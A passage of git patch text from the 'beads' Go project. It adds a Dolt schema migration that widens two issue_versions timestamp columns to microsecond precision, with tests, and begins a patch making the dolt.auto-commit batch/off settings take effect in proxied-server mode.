themselves — it runs even where no `dolt` // binary is available. diff --git a/internal/storage/schema/migration_0069_datetime_precision_test.go b/internal/storage/schema/migration_0069_datetime_precision_test.go new file mode 100644 index 000000000..bc1883fa6 --- /dev/null +++ b/internal/storage/schema/migration_0069_datetime_precision_test.go @@ -0,0 +1,180 @@ +package schema + +import ( + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// Migration 0069 (be-hs42e.8 / gastownhall/beads#6132, the DATETIME(6) +// widening slice): 0067 creates issue_versions.change_at and .removed_at as +// plain DATETIME -- precision 0, whole seconds only. Dolt's datetime(0) does +// not truncate sub-second input; it ROUNDS half-up (pinned for a different +// column by testAuditImportCommentSubSecond in +// backend/conformance/audit_labels-comments-events.go, and reconfirmed +// directly against issue_versions below). For a column whose entire job is +// placing history in order, precision 0 has two consequences: a sub-second +// write can read back rounded into the *next* second, and two writes less +// than a second apart in real time can round onto the identical stored +// value and become indistinguishable by change_at. The fix is a widen to +// DATETIME(6) (microsecond). It was first drafted as a step 8 appended to +// the then-unmerged 0068; 0068 shipped on main without it +// (gastownhall/beads#6650), which froze that file, so the widen has its own +// slot here. +// +// removed_at widens in lockstep even though no Go code writes it yet (a +// repo-wide grep for removed_at/RemovedAt turns up only schema: 0067's +// CREATE TABLE and this package's CLI-bundle mirror of it). It is +// change_at's paired lifecycle column on the same row of the same table, so +// leaving it at precision 0 while change_at moves to precision 6 would be +// exactly the asymmetry hazard this bead's own title warns against ("before +// any store accumulates real history") -- a second migration once +// removed_at gets a writer, instead of one now while the table is still +// empty and the ALTER is free. +const migration0069Up = "0069_widen_issue_versions_datetime_precision.up.sql" +const migration0069Down = "0069_widen_issue_versions_datetime_precision.down.sql" + +const migration0069ChangeAtDatetimeGuard = "@issue_versions_change_at_needs_widen" +const migration0069RemovedAtDatetimeGuard = "@issue_versions_removed_at_needs_widen" + +// TestLatestVersionIncludesMigration0069 pins the real next free slot this +// migration claims, superseding 0068's own version of this test +// (LatestVersion() moved from 68 to 69 the moment this migration file was +// added). Deliberately a hardcoded literal for the same reason 0067's and +// 0068's were: LatestVersion() drifting to 69 for the wrong reason (an +// unrelated migration landing first) should still be caught by this test +// failing to explain why 69 is datetime-precision-shaped, which the CLI test +// below checks. +func TestLatestVersionIncludesMigration0069(t *testing.T) { + const want = 69 + if got := LatestVersion(); got != want { + t.Fatalf("LatestVersion() = %d, want %d (issue_versions change_at/removed_at DATETIME(6) migration slot claimed by be-hs42e.8)", got, want) + } +} + +// TestMigration0069WidensChangeAtAndRemovedAtPrecision is the pure-Go, +// DB-independent half of the pin, mirroring +// TestMigration0068AddsAttributionStatus's shape: it checks the frozen +// migration bytes and the CLI-bundle override text directly, no `dolt` +// binary required. +func TestMigration0069WidensChangeAtAndRemovedAtPrecision(t *testing.T) { + upSQL, err := MigrationSQL(migration0069Up) + if err != nil { + t.Fatalf("MigrationSQL(%s) error = %v, want the migration file to exist", migration0069Up, err) + } + for _, want := range []string{ + "ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME(6) NOT NULL", + "ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME(6)", + migration0069ChangeAtDatetimeGuard, + migration0069RemovedAtDatetimeGuard, + "DATETIME_PRECISION", + } { + if !strings.Contains(upSQL, want) { + t.Errorf("0069 up migration missing %q (change_at/removed_at DATETIME(6) widen)\nfull SQL:\n%s", want, upSQL) + } + } + if !strings.Contains(strings.ToUpper(upSQL), "PREPARE STMT FROM @SQL") { + t.Error("0069 up migration must keep its guarded PREPARE blocks -- they are what make a raw .up.sql replay onto an already-widened store a no-op, and Dolt accepts no unprepared conditional MODIFY COLUMN") + } + + bundle := cliCompatibleMigrationSQL(migration0069Up, upSQL) + for _, want := range []string{ + "ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME(6) NOT NULL;", + "ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME(6);", + } { + if !strings.Contains(bundle, want) { + t.Errorf("0069's CLI bundle substitute (cliMigration0069WidenIssueVersionsDatetimePrecision) missing direct DDL %q -- without it a fresh CLI-built database keeps precision-0 change_at/removed_at while the runtime migration path widens them", want) + } + } + if cliSubstituteAssumesWispTables(migration0069Up) { + t.Error("0069's CLI substitute touches only issue_versions, which has no wisps-side counterpart table — it must not be listed in cliSubstituteAssumesWispTables") + } + + // down.sql files are not part of the embedded FS (only + // migrations/*.up.sql is //go:embed'd -- see mainSource.files), so like + // TestMigration0068AddsAttributionStatus's own down check, this reads + // straight from disk by package-relative path. + downBytes, err := os.ReadFile("migrations/" + migration0069Down) + if err != nil { + t.Fatalf("read %s: %v, want the migration file to exist", migration0069Down, err) + } + downSQL := string(downBytes) + for _, want := range []string{ + "ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME NOT NULL", + "ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME", + "COLUMN_NAME = 'change_at'", + "COLUMN_NAME = 'removed_at'", + } { + if !strings.Contains(downSQL, want) { + t.Errorf("0069 down migration missing %q\nfull SQL:\n%s", want, downSQL) + } + } + if !strings.Contains(strings.ToUpper(downSQL), "PREPARE STMT FROM @SQL") { + t.Error("0069 down migration must guard its MODIFYs the way the up migration does, so a store that never took the widen, or was already rolled back, rolls back safely") + } +} + +// TestMigration0069ChangeAtSurvivesSubSecondPrecisionThroughDoltCLI is the +// live half: it demonstrates the bug against a real `dolt` binary (skipped +// without one) and is be-hs42e.8's exit contract's own acceptance criteria, +// verbatim -- "a sub-second write reading back rounded to the next second" +// and "same-second versions colliding". Both fixture values and the exact +// rounding direction were measured directly against dolt 2.3.3 before +// writing this test (SELECT ... datetime_precision, and a scratch +// DATETIME/DATETIME(6) round-trip), not assumed. +func TestMigration0069ChangeAtSurvivesSubSecondPrecisionThroughDoltCLI(t *testing.T) { + testutil.RequireDoltBinary(t) + + dir := t.TempDir() + runDoltCommand(t, dir, "init", "--name", "test", "--email", "test@example.com") + runDoltSQL(t, dir, AllMigrationsSQL()) + + requireDoltColumnShape(t, dir, "issue_versions", "change_at", "datetime(6)", "NO") + requireDoltColumnShape(t, dir, "issue_versions", "removed_at", "datetime(6)", "YES") + + // Acceptance criterion 1: "a sub-second write reading back rounded to + // the next second." .750000 is testAuditImportCommentSubSecond's own + // fixture value, chosen because Dolt's datetime(0) rounding is HALF-UP + // (pinned there for a different column, reconfirmed here directly) -- + // >= .5 always rounds forward a whole second, so at precision 0 this + // value is guaranteed to land on the wrong second, not merely lose + // precision within the right one. + runDoltSQL(t, dir, `INSERT INTO issue_versions + (issue_id, revision, epoch, change_at, attribution_status) + VALUES ('iv-sub', 1, 1, '2026-09-01 00:00:00.750000', 'claimed')`) + rows := queryDoltCSV(t, dir, `SELECT change_at FROM issue_versions WHERE issue_id = 'iv-sub'`) + if len(rows) != 1 { + t.Fatalf("iv-sub round-trip returned %d rows, want 1: %v", len(rows), rows) + } + if got, want := rows[0]["change_at"], "2026-09-01 00:00:00.750000"; got != want { + t.Errorf("change_at sub-second round-trip = %q, want %q (DATETIME(6) must keep microseconds; DATETIME(0) rounds .750000 up to the next second, 2026-09-01 00:00:01)", got, want) + } + + // Acceptance criterion 2: "same-second versions colliding." Two + // revisions of the same issue, 300ms apart in wall-clock terms, both + // inside the [.000, .500) half of the same second -- at precision 0 + // both round DOWN to the identical whole second and become + // indistinguishable by change_at, exactly the ordering defect an + // audit-history column exists to prevent. + runDoltSQL(t, dir, `INSERT INTO issue_versions + (issue_id, revision, epoch, change_at, attribution_status) + VALUES + ('iv-collide', 1, 1, '2026-09-01 00:00:05.100000', 'claimed'), + ('iv-collide', 2, 1, '2026-09-01 00:00:05.400000', 'claimed')`) + rows = queryDoltCSV(t, dir, `SELECT revision, change_at FROM issue_versions WHERE issue_id = 'iv-collide' ORDER BY revision`) + if len(rows) != 2 { + t.Fatalf("iv-collide round-trip returned %d rows, want 2: %v", len(rows), rows) + } + if rows[0]["change_at"] == rows[1]["change_at"] { + t.Errorf("revisions 1 and 2 of iv-collide both read back change_at = %q; two writes 300ms apart must remain distinguishable, not collide onto the same stored second", rows[0]["change_at"]) + } else { + if got, want := rows[0]["change_at"], "2026-09-01 00:00:05.100000"; got != want { + t.Errorf("iv-collide revision 1 change_at = %q, want %q", got, want) + } + if got, want := rows[1]["change_at"], "2026-09-01 00:00:05.400000"; got != want { + t.Errorf("iv-collide revision 2 change_at = %q, want %q", got, want) + } + } +} diff --git a/internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.down.sql b/internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.down.sql new file mode 100644 index 000000000..9340c7bf2 --- /dev/null +++ b/internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.down.sql @@ -0,0 +1,38 @@ +-- Reverse of 0069: narrow issue_versions.change_at and .removed_at back to +-- the plain DATETIME (precision 0) type 0067 created them with. Guarded on +-- DATETIME_PRECISION so a store that never took the widen, or was already +-- rolled back, no-ops. +-- +-- Unlike the widen, the narrow is lossy: at precision 0 Dolt reads a +-- sub-second value back rounded half-up to the whole second (measured on +-- dolt 2.3.3: .750000 reads back as the next second), and widening again +-- afterwards is not guaranteed to recover the fraction. That is safe under +-- the up file's premise -- issue_versions holds no rows while versioned +-- history is inactive, which it is in every build so far -- and it is the +-- thing to revisit if that premise ever stops holding. +-- +-- Only migrations/*.up.sql is embedded into the CLI fresh bundle, so the +-- PREPARE hazard (cli_prepared_ddl.go) never reaches this file. +SET @issue_versions_change_at_is_widened = ( + SELECT IF(DATETIME_PRECISION = 6, 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'change_at' +); +SET @sql = IF(@issue_versions_change_at_is_widened = 1, + 'ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME NOT NULL', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @issue_versions_removed_at_is_widened = ( + SELECT IF(DATETIME_PRECISION = 6, 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'removed_at' +); +SET @sql = IF(@issue_versions_removed_at_is_widened = 1, + 'ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.up.sql b/internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.up.sql new file mode 100644 index 000000000..7aab13a12 --- /dev/null +++ b/internal/storage/schema/migrations/0069_widen_issue_versions_datetime_precision.up.sql @@ -0,0 +1,91 @@ +-- Migration 0069: widen issue_versions.change_at and .removed_at from +-- DATETIME (precision 0) to DATETIME(6) (microsecond) -- be-hs42e.8 / +-- gastownhall/beads#6132. +-- +-- This was drafted as a step 8 appended to 0068 while 0068 was still +-- unmerged. 0068 then shipped on main (gastownhall/beads#6650) with steps 6 +-- and 7 only, which froze it (scripts/check-migration-hygiene.sh check C): +-- every clone built since has applied it and recorded its content hash, so +-- the widen needs its own slot. +-- +-- 0067 created both columns as plain DATETIME. Dolt's datetime(0) does not +-- truncate sub-second input -- it ROUNDS half-up (pinned for a different +-- column by testAuditImportCommentSubSecond in +-- backend/conformance/audit_labels-comments-events.go, reconfirmed directly +-- against issue_versions by +-- TestMigration0069ChangeAtSurvivesSubSecondPrecisionThroughDoltCLI in +-- internal/storage/schema). For a column whose entire job is placing +-- history in order, precision 0 has two consequences: a sub-second write +-- can read back rounded into the *next* second, and two writes less than a +-- second apart in real time can round onto the identical stored value and +-- become indistinguishable by change_at. +-- +-- removed_at widens in lockstep even though no Go code writes it yet (a +-- repo-wide grep for removed_at/RemovedAt turns up only schema: 0067's +-- CREATE TABLE and the CLI-bundle mirror of it in cli_migrations.go). It is +-- change_at's paired lifecycle column on the same row of the same table, so +-- leaving it at precision 0 while change_at widens would be exactly the +-- asymmetry this bead's own title warns against ("before any store +-- accumulates real history"). +-- +-- No data conversion is needed. Widening precision is lossless -- every +-- whole-second value is exactly representable at precision 6 -- so each +-- MODIFY changes only the column type, whatever the table holds. In +-- practice it holds nothing yet: RecordVersionInTx +-- (internal/storage/issueops/version_history.go), the table's only writer, +-- mints only while versioned history is activated, and no build activates +-- it. +-- +-- Guarded on DATETIME_PRECISION the same way 0068 guards on +-- COLUMN_NAME/DATA_TYPE, so a raw-SQL replay of this file onto an +-- already-widened store is a clean no-op (internal/storage/dolt's pr4107 +-- replay harness requires this of every migration >= 0046), and a missing +-- table makes the probe yield NULL, which takes the SELECT 1 branch. Needs +-- a CLI-bundle direct-DDL override +-- (cliMigration0069WidenIssueVersionsDatetimePrecision in +-- cli_migrations.go), the same dolthub/dolt#11345 escape hatch 0067 and 0068 +-- use, guarded by TestBundleMigrationsWithPreparedALTERAreOverriddenOrJustified. +-- +-- No wisps twin needed: issue_versions has no wisps-side counterpart table +-- at all (design section 16.3), so cliSubstituteAssumesWispTables does not +-- apply to this migration either. +-- +-- DOLT PLANE, stated here because 0067 created these tables without saying +-- so and a reader has to know before writing to them: issue_versions and +-- store_epoch REPLICATE. They are ordinary synced tables, deliberately NOT +-- registered dolt_ignore'd the way 0064 registers the events journal's +-- clone-local pair. A bead's version history is part of the bead and has to +-- travel with it -- and the single-writer constraint in 0068's header is a +-- statement about what happens when two clones MERGE these tables, which +-- only means anything for a table that replicates at all. +-- +-- The obligation that buys: every operation that mints must STAGE what it +-- minted (issue_versions, store_epoch, and issues for the current_revision +-- advance), or the rows sit dirty in the working set -- outside the +-- DOLT_COMMIT of the very mutation they describe, unreplicated, and able to +-- trip DirtyTablesError on the next migration. The staging paths do this +-- from one list, issueops.VersionedHistoryStagedTables, keyed off whether +-- versioned history is active so no call site has to remember it. +SET @issue_versions_change_at_needs_widen = ( + SELECT IF(DATETIME_PRECISION <> 6, 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'change_at' +); +SET @sql = IF(@issue_versions_change_at_needs_widen = 1, + 'ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME(6) NOT NULL', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @issue_versions_removed_at_needs_widen = ( + SELECT IF(DATETIME_PRECISION <> 6, 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'removed_at' +); +SET @sql = IF(@issue_versions_removed_at_needs_widen = 1, + 'ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME(6)', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/internal/storage/schema/schema_test.go b/internal/storage/schema/schema_test.go index 14940832b..081af2a4f 100644 --- a/internal/storage/schema/schema_test.go +++ b/internal/storage/schema/schema_test.go @@ -1967,6 +1967,10 @@ func TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities(t *testing.T) // MODIFY COLUMN (durable_state JSON -> LONGBLOB), same shape as 0065. "ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL;", "ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB;", + // 0069: two prepared MODIFY COLUMNs on issue_versions (change_at and + // removed_at to DATETIME(6)), same shape as 0068's step 7. + "ALTER TABLE issue_versions MODIFY COLUMN change_at DATETIME(6) NOT NULL;", + "ALTER TABLE issue_versions MODIFY COLUMN removed_at DATETIME(6);", } { if !strings.Contains(got, want) { t.Fatalf("AllMigrationsSQL missing direct CLI DDL %q", want) @@ -1997,6 +2001,9 @@ func TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities(t *testing.T) // carries these probes. "@issue_versions_as_needs_add", "@issue_versions_ds_needs_retype", + // 0069 guards both of its MODIFYs the same way. + "@issue_versions_change_at_needs_widen", + "@issue_versions_removed_at_needs_widen", } { if strings.Contains(got, forbidden) { t.Fatalf("AllMigrationsSQL contains source prepared-DDL guard %q", forbidden) diff --git a/internal/storage/versioncontrolops/commit.go b/internal/storage/versioncontrolops/commit.go index 48ec20513..5b93452b3 100644 --- a/internal/storage/versioncontrolops/commit.go +++ b/internal/storage/versioncontrolops/commit.go @@ -32,6 +32,46 @@ func (t *DirtyTableTracker) DirtyTables() map[string]bool { return t.tables } +// MarkVersionedHistoryDirty adds the tables the versioned-history seam writes +// (issueops.VersionedHistoryStagedTables) when history is enabled on the store +// that owns this transaction. Stores call it once, after the body has run and +// before handing DirtyTables to StageAndCommit, so no individual mutator has +// to remember that minting a version dirties three more tables. +// +// enabled is the store's own activation flag — the same input its +// ScopeVersionedHistoryTransaction call takes. That is the same atomic read +// twice, not one value threaded through: the scope call reads it when the +// transaction opens, this one reads it again after the body has run. So the +// staging set and the minting behavior cannot disagree only as long as +// activation does not change mid-operation — a SetVersionedHistoryEnabled +// flip landing in that window mints rows under the scope and then declines to +// stage them. Activation is wiring-time configuration with no non-test caller +// today, so this is an invariant to preserve rather than a live defect; latch +// the flag once per operation and pass the bool if that ever stops holding. +// +// A tracker with nothing dirty is left alone. Minting only happens alongside a +// mutation, so an empty set means no mutation ran; adding tables there would +// turn an operation that deliberately stages nothing into one that stages, and +// StageAndCommit's own len(dirtyTables)==0 early return is load-bearing for +// those callers. +// +// Keyed on SCOPE, not on whether a row was actually minted -- deliberately. +// Staging a clean table costs one DOLT_ADD that stages nothing, and both +// commit helpers already skip an empty staged set, so the false-positive side +// is free; tracking real mints would mean threading state back out of the seam +// for no behavioral gain. The one thing it does widen is `issues` on the +// dependency paths, which stage only {dependencies, events} today -- and that +// widening is exactly what the current_revision advance requires, gated on +// history being on, so no flag-off commit changes shape. +func (t *DirtyTableTracker) MarkVersionedHistoryDirty(enabled bool) { + if !enabled || len(t.tables) == 0 { + return + } + for _, table := range issueops.VersionedHistoryStagedTables() { + t.MarkDirty(table) + } +} + // StageAndCommit stages only the specified dirty tables and creates a Dolt // version commit. conn must be a non-transactional database connection (the // SQL transaction should already be committed before calling this). From edb86e34702c02067a57cee961ed18e5fc020991 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sun, 27 Sep 2026 01:31:11 -0700 Subject: [PATCH 139/624] fix: honor dolt.auto-commit in proxied server mode (#6499) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): honor dolt.auto-commit=batch/off on the proxied-server write path (#4995) In proxied-server mode every write minted a Dolt history commit whatever dolt.auto-commit said. Two causes: - cmd/bd/main.go never applied issueOpsContext(rootCtx) in the proxiedServerMode branch of the root pre-run, so the context carried no deferred-commit marker. - internal/storage/uow/doltserver_tx.go: doltServerTx.Commit ignored issueops.VersionCommitDeferred(ctx) and ran CALL DOLT_COMMIT('-Am', ?) whenever a message was supplied. Apply issueOpsContext to rootCtx in the proxied setup, and have doltServerTx.Commit blank its message under a deferred context so the existing plain-COMMIT branch persists the write to the working set without advancing Dolt history. dolt.auto-commit=on is unchanged. This commit alone strands batch/off writes in the working set; the explicit flush point (`bd dolt commit`) follows in the later commits of this series. (Originally recorded as "witness: salvage uncommitted work (ocb-ani)"; the change itself is unmodified.) * test(uow,cmd/bd): add regression tests for proxied dolt.auto-commit batch/off (#4995) Add focused regression tests verifying that proxied dolt.auto-commit batch/off defer Dolt version commits: - cmd/bd: TestIssueOpsContextDefersByModeInProxiedServerMode verifies that issueOpsContext defers version commits in proxied-server mode when dolt.auto-commit is batch or off. - internal/storage/uow: TestDoltServerTxCommitDefersDoltCommitUnderDeferredContext and TestDoltServerTxRunTxWithDeferredContextSkipsDoltCommit verify that doltServerTx.Commit blanks the commit message under a deferred context, bypassing DOLT_COMMIT and status checks, and executing plain COMMIT to persist writes into the working set without advancing Dolt history. * fix(dolt): add the proxied flush point dolt.auto-commit=batch/off defers to (#4995) The deferral half of this PR makes dolt.auto-commit=batch/off actually take effect on the proxied-server write path. On its own that turns batch/off into "never commit": proxied mode returns from the root pre-run before newDoltStore runs, so getStore() is nil and `bd dolt commit` has no store to commit through. Writes pile up in the sql-server working set where `dolt log`, `dolt push` and backups never see them. Add the missing half. cmd/bd/dolt_commit_proxied_server.go is the proxied dual of `bd dolt commit`: it takes the uow.MaintenanceProvider route (RunNonTx) and runs CALL DOLT_COMMIT('-Am', ?) on a pinned connection, gated on issueops.HasPendingChanges. It deliberately does not go through doltServerTx.Commit, which blanks its own message under the deferred context; routing the flush through the deferral it exists to discharge would make the flush a no-op. doltCommitCmd dispatches to it on usesProxiedServer(); the message is built before the branch so both routes name the same default, and the "Committed." / "Nothing to commit." contract is unchanged. --dolt-auto-commit's help no longer claims proxied-server routes are unaffected: it names the proxied flush point and keeps the SIGTERM/SIGHUP flush marked embedded-only. docs/reference/configuration.md says the same. `bd vc commit`'s proxied refusal now points at `bd dolt commit`. Tests: - cmd/bd/dolt_commit_proxied_integration_test.go: three batch writes leave dolt_log unchanged and stay readable, `bd dolt commit` advances it by exactly one, a second `bd dolt commit` reports "Nothing to commit." with dolt_log unchanged, and one write under --dolt-auto-commit on advances it by one. On the PR's original base it failed at the `bd dolt commit` step with "no store available". On current main the front door refuses the command before that code is reached, so this test is only green together with the next commit, which moves `dolt commit` to supported in the proxy capability registry. - TestIssueOpsContextDefersByModeInProxiedServerMode renamed to TestIssueOpsContextDefersByModePolicyTable and the proxiedServerMode assignment dropped: issueOpsContext branches only on writesCommitNow(), never on the storage mode, so the old name over-promised. - doltserver_tx_test.go: "bd: update bd-4995" -> "bd: update GH#4995", which no longer reads as a bead id. Co-Authored-By: Claude Opus 5 (1M context) * fix(proxy): move `dolt commit` from refused to supported in the capability registry Main's proxy capability registry (added by #6269, 24a9da6cc) declares `dolt commit` direct-only: it has a "proxy.dolt_commit.unsupported" refusal in proxyMaintenanceRefusals (cmd/bd/proxy_capability.go) and is classed HistoryDirectOnly in historyCapabilityMatrix (cmd/bd/history_capability.go). The front door therefore refuses `bd dolt commit` in proxied-server mode before dispatch, so the proxied dual added earlier in this series is unreachable, and dolt.auto-commit=batch/off has no way to flush. the history/VC front-door contract, and neither the registry, its tests nor the docs explain why `dolt commit` was listed. Nothing on main implemented `dolt commit` for the proxied route at the time, which is consistent with the entry being a statement of what existed rather than a design decision. This flips a capability main had declared unsupported, deliberately: the proxied route now has an implementation (runDoltCommitProxiedServer), and batch/off need it as their flush point (GH#4995). Declared the same way as the other proxied-supported command, `dolt remote remove`: HistoryProxySupported in the history matrix, and no row in proxyMaintenanceRefusals. Tests follow: history_capability_test.go moves `dolt commit` from the direct-only assertions and refusal contract to the proxy-supported ones (including the nested front-door pass-through), and history_remote_frontdoor_matrix_test.go drops the refusal row and adds a `dolt commit` pass-through check to TestHistoryRemoteSupportedFrontDoorParity. Co-Authored-By: Claude Sonnet 5 * fix(proxy): exempt explicit commit points from the proxied deferral (#4995) Maintainer review fixup for PR #6499, adopt-pr iterations 1-2. Major (Contract & Interface Fidelity). The deferral is applied once, to rootCtx, so it blanketed BOTH commit classes the direct route distinguishes by which wrapper a verb picks: policy-honoring writes (transactHonoringAutoCommit, per-verb issueOpsContext) and explicit commit points (transact, which passes the caller's message whatever the policy says). Under dolt.auto-commit=batch a proxied `bd batch -m "release batch"` therefore persisted the rows, discarded the message and minted nothing, while the identical command and config on the direct route committed it — and batch_proxied_server.go's own contract comment rejects exactly that ("would persist these writes while silently bypassing Dolt history"), as does batch.go's "the contract is the same on both backends". issueops.WithImmediateVersionCommit clears the marker and cmd/bd's explicitCommitPointContext applies it in the duals whose direct twin calls transact. Scope is the intersection of the transact call sites with proxyPermittedPaths: batch, mol bond/pour/squash, mol wisp create, and the WISP half of mol burn (cook and migrate issues also call transact but are refused in proxied mode, so they have no dual to exempt). The review sized the radius at batch + 4 mol verbs; mol wisp create is the same class — its direct twin reaches cloneSubgraph's transact through spawnMoleculeWithOptions — so it is exempted with them. Membership is per commit site, not per command (iteration 2). `bd mol burn` is two classes on the direct route: wisps go through burnWisps -> transact, while persistent molecules go through deleteBatch -> issueOpsContext -> dolt/deleter.go, which returns before DOLT_COMMIT when the context defers. Exempting the whole command minted one Dolt commit per persistent molecule under batch/off — on a destructive verb, where the identical direct-route command defers them all to `bd dolt commit`. runMolBurnProxiedServer now applies the exemption to the wisp RunTxResult only, and the flag help, configuration.md and the helper's own radius comment say so. Minors: - The flush passes '--author' like DoltStorage.CommitAll, so the one commit batch mode keeps is attributed to the bd actor rather than the SQL session user (without it dolt_log reads `root `). - runDoltCommitProxiedServer calls the shared runProxiedNonTx instead of re-implementing its provider checks, so `bd --json dolt commit` keeps the JSON error envelope; `dolt commit`'s RunE no longer re-wraps an already-reported failure, and runProxiedNonTx's message gains the provider %T the open-coded version had. - The flag help and configuration.md drop two false claims: that the deferral covers "every write" in proxied mode (the bd serve plane over the same provider never touches rootCtx, so daemon writes still commit per write) and that the SIGTERM/SIGHUP flush is "embedded-only" (flushBatchCommitOnShutdown gates on an open store, which direct SQL-server mode has; only proxied mode lacks one). Both surfaces now name the explicit-commit-point exemption. - Both user-facing enumerations of that exemption are now derived from the explicitCommitPointContext call sites rather than restated (iteration 2): they had omitted mol wisp create, listed mol burn wholesale, and implied a message-less `bd batch` defers when batch.go synthesizes a default message and the dual exempts unconditionally, so every proxied batch commits. - doltserver_tx.go's ephemeral-form comment names its second entry point — RunTx/RunTxResult under a deferred context — where its ONLY-dolt_ignored-state rationale stops applying. Not done: regenerating docs/CLI_REFERENCE.md. Its --dolt-auto-commit drift is base-preexisting, and the generated CLI docs are built from the release tag pinned in docs/cli-docs.pin, not from this source, so touching them converts the drift gate's inherited-drift warn-pass into a failure. Tests. The uow blanking table gains the immediate-commit arm (tagless, so it runs in every lane); the proxied integration test gains an explicit-batch-commit step with a deferred plain create as its control, plus the flush attribution assertions. Mutation-proved: reverting explicitCommitPointContext to a no-op reds the new step (dolt_log 80 -> 80, no commit minted), and dropping '--author' reds the attribution assertion with committer=root. Iteration 2 adds the WIRING pin those left open — the mechanism was covered, but deleting `ctx = explicitCommitPointContext(ctx)` from a dual was green in every lane, which is why the mol burn over-application above was invisible. dolt_autocommit_exemption_wiring_test.go is tagless and needs no server: a uow.UnitOfWorkProvider that records the context RunTxResult hands NewUOW and then refuses observes exactly the context each dual gives its transaction. Mutation-proved per arm: neutering the exemption at batch/bond/squash reds those three rows and only those; dropping it from the wisp RunTxResult reds the wisp arm alone; and restoring the command-wide reassignment reds the persistent arm alone, reproducing the defect this iteration fixes. Validation: go build ./..., go vet (cgo and CGO_ENABLED=0), gofmt clean; internal/storage/issueops; internal/storage/uow -run TestDoltServerTx; the cmd/bd registry / history / policy / batch / mol / wisp / errors battery; and the gated real-server lane BEADS_TEST_PROXIED_SERVER=1 green for both TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce (41s) and TestProxiedServerMolBurn (33s, all four subtests including the mixed wisp+persistent burn this iteration changed). Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Julian Knutsen --- cmd/bd/batch_proxied_server.go | 3 + cmd/bd/capability_registry.go | 19 +- cmd/bd/capability_registry_history_test.go | 15 +- cmd/bd/dolt.go | 49 ++-- cmd/bd/dolt_autocommit.go | 29 +++ .../dolt_autocommit_exemption_wiring_test.go | 238 ++++++++++++++++++ cmd/bd/dolt_autocommit_server_test.go | 34 +++ .../dolt_commit_proxied_integration_test.go | 191 ++++++++++++++ cmd/bd/dolt_commit_proxied_server.go | 88 +++++++ cmd/bd/dolt_commit_proxied_server_test.go | 29 +++ cmd/bd/errors.go | 9 + .../history_remote_frontdoor_matrix_test.go | 14 +- cmd/bd/main.go | 12 +- cmd/bd/mol_proxied_server.go | 25 +- cmd/bd/proxied_maintenance.go | 5 +- cmd/bd/vc.go | 5 +- cmd/bd/wisp_proxied_server.go | 6 + docs/reference/configuration.md | 22 +- internal/storage/issueops/version_commit.go | 12 + internal/storage/uow/doltserver_tx.go | 25 +- internal/storage/uow/doltserver_tx_test.go | 83 ++++++ 21 files changed, 873 insertions(+), 40 deletions(-) create mode 100644 cmd/bd/dolt_autocommit_exemption_wiring_test.go create mode 100644 cmd/bd/dolt_commit_proxied_integration_test.go create mode 100644 cmd/bd/dolt_commit_proxied_server.go create mode 100644 cmd/bd/dolt_commit_proxied_server_test.go diff --git a/cmd/bd/batch_proxied_server.go b/cmd/bd/batch_proxied_server.go index 52fd7eb14..99ccb890e 100644 --- a/cmd/bd/batch_proxied_server.go +++ b/cmd/bd/batch_proxied_server.go @@ -38,6 +38,9 @@ func runBatchProxiedServer(ctx context.Context, ops []batchOp, commitMsg string) if uowProvider == nil { return nil, HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Explicit commit point, like `transact` on the direct route: the commit + // carries the caller's message whatever dolt.auto-commit says (GH#4995). + ctx = explicitCommitPointContext(ctx) return uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) ([]batchOpResult, string, error) { // Built per attempt, not per call: a retried batch must report the // results of the attempt that actually committed. diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index c481b48c7..15ac9acdf 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -324,12 +324,13 @@ var proxyCapabilityRegistry = []capabilityRow{ refusedPath("repo sync", "proxy.repo.unsupported", ProxyReasonDesign, ""), // --- dolt version-control verbs ----------------------------------------- - // CALL 